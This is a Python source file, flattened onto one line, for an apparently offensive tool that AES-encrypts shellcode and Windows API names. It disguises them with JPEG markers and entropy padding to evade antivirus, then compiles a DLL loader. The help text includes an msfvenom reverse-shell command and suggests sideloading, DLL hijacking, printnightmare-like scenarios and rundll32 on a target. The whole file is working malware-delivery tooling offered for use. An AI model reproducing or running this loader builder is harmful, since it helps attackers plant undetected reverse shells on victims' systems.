import sys import os from Crypto.Cipher import AES from os import urandom import hashlib import argparse import subprocess # PUT YOUR KEY HERE!!! KEY = "blog.restkhz.com" KEY = KEY.encode() strVirtualAlloc = "VirtualAlloc\0" strRtlMoveMemory = "RtlMoveMemory\0" strCreateThread = "CreateThread\0" strVirtualProtect = "VirtualProtect\0" JPG_HEAD = b''.fromhex('ffd8ff') JPG_TAIL = b''.fromhex('ffd9') # 00 not in the jpg magic number but just in case funcList = [strVirtualAlloc, strRtlMoveMemory, strCreateThread, strVirtualProtect] def pad(s): block_size = AES.block_size padding = block_size - len(s) % block_size return s + bytes([padding] * padding) def aesenc(plaintext, key): k = hashlib.sha256(key).digest() IV = urandom(16) plaintext = pad(plaintext) cipher = AES.new(k, AES.MODE_CBC, IV) return IV + cipher.encrypt(plaintext) def makeHeaderFile(payload): encKey = f'#define KEY { ', '.join('0x{:02x}'.format(b) for b in bytearray(KEY))}\n' # payload encPayload = aesenc(payload, KEY) encPayloadDef = f'#define PAYLOAD {',0x00,'.join('0x{:02x}'.format(b) for b in JPG_HEAD + encPayload + JPG_TAIL)}\n' encPayloadEntropyDef = f'#define LOWER_PAYLOAD_ENTROPY {','.join(['0xff']* len(encPayload))}\n' print(encKey, end='') print(encPayload, end='') # funcName print("\n\nEncrypting functions:") encFuncDefList = [] # lower func entropy encFuncEntropyLen = 0 for f in funcList: encFunc = aesenc(f.encode(), KEY) encFuncDef = f'#define {f.upper().rstrip('\0')} {', '.join(('0x{:02x}'.format(b) for b in JPG_HEAD + encFunc + JPG_TAIL))}\n' print(encFuncDef, end='') encFuncDefList.append(encFuncDef) encFuncEntropyLen += len(encFunc) # payload and funcname offset offsetHead = f'#define OFFSET_HEAD {str(len(JPG_HEAD))}\n' offsetTail = f'#define OFFSET_TAIL {str(len(JPG_TAIL))}\n' # insert 0 to lower the entropy by the length of encrypted func name encFuncEntropyDef = f'#define LOWER_FUNCNAME_ENTROPY {','.join(['0xff']*encFuncEntropyLen)}\n' f = open("shellcode.h","w") f.write(encKey+encPayloadDef + offsetHead + offsetTail +''.join(encFuncDefList) + encFuncEntropyDef + encPayloadEntropyDef ) f.close() print() # x86_64-w64-mingw32-gcc template.cpp --shared -o test_ns.dll -lcrypt32 -O2 -fvisibility=hidden -Wl,--dynamicbase -Wl,--nxcompat -DNDEBUG -s def main(): parser = argparse.ArgumentParser( description="""To generate static AV evaded DLL shellcode loader with AES encrypt. Example: msfvenom -p windows/x64/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444 x64/xor_dynamic -f raw > shellcode.raw python ShellcodeEncrypt2Dll.py --non-standalone shellcode.raw or python ShellcodeEncrypt2Dll.py --standalone shellcode.raw """, formatter_class=argparse.RawDescriptionHelpFormatter ) mode_group = parser.add_mutually_exclusive_group(required=True) mode_group.add_argument( '--standalone', action='store_true', help='To make an encrypted DLL WITH KEY stored in the DLL. You can use it for sideload/hijack or in a printnightmare-like scenario.' ) mode_group.add_argument( '--non-standalone', action='store_true', help='To make an encrypted DLL WITHOUT KEY stored in the DLL. You can use it for sideload/rundll32 but you need to pass the key.' ) parser.add_argument( 'path', type=str, help='Path to shellcode file.' ) args = parser.parse_args() f= open(args.path, 'rb') payload = f.read() makeHeaderFile(payload) if args.standalone: print("STANDALONE mode") command = ['x86_64-w64-mingw32-g++', 'template.cpp', '--shared', '-O0', '-fvisibility=hidden', '-static-libgcc', '-static-libstdc++', '-static', '-DSTANDALONE', '-fpermissive', '-Wl,--dynamicbase', '-Wl,--nxcompat', '-DNDEBUG', '-s', '-o', 'loader.dll'] print("You can use it for sideload/hijack or in a printnightmare-like scenario.") print("Or just simply: rundll32 ,EPoint") elif args.non_standalone: print("NON-STANDALONE mode:") command = ['x86_64-w64-mingw32-g++', 'template.cpp', '--shared', '-O0', '-fvisibility=hidden','-static-libgcc', '-static-libstdc++', '-static', '-Wl,--dynamicbase', '-fpermissive','-Wl,--nxcompat', '-DNDEBUG', '-s', '-o', 'loader.dll'] print(f"Try to run on target: rundll32 ,EPoint {KEY.decode()}") try: print("[+] Compiling") result = subprocess.run(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True) if result.returncode != 0: print("[-] Compile Failure:") print(result.stderr) else: print("[+] Done: loader.dll") print(result.stdout) except FileNotFoundError: print("[-] x86_64-w64-mingw32-g++ didn't work out properly or wasn't found.\nTry: \"sudo apt install mingw-w64\"") sys.exit(1) if __name__ == '__main__': main()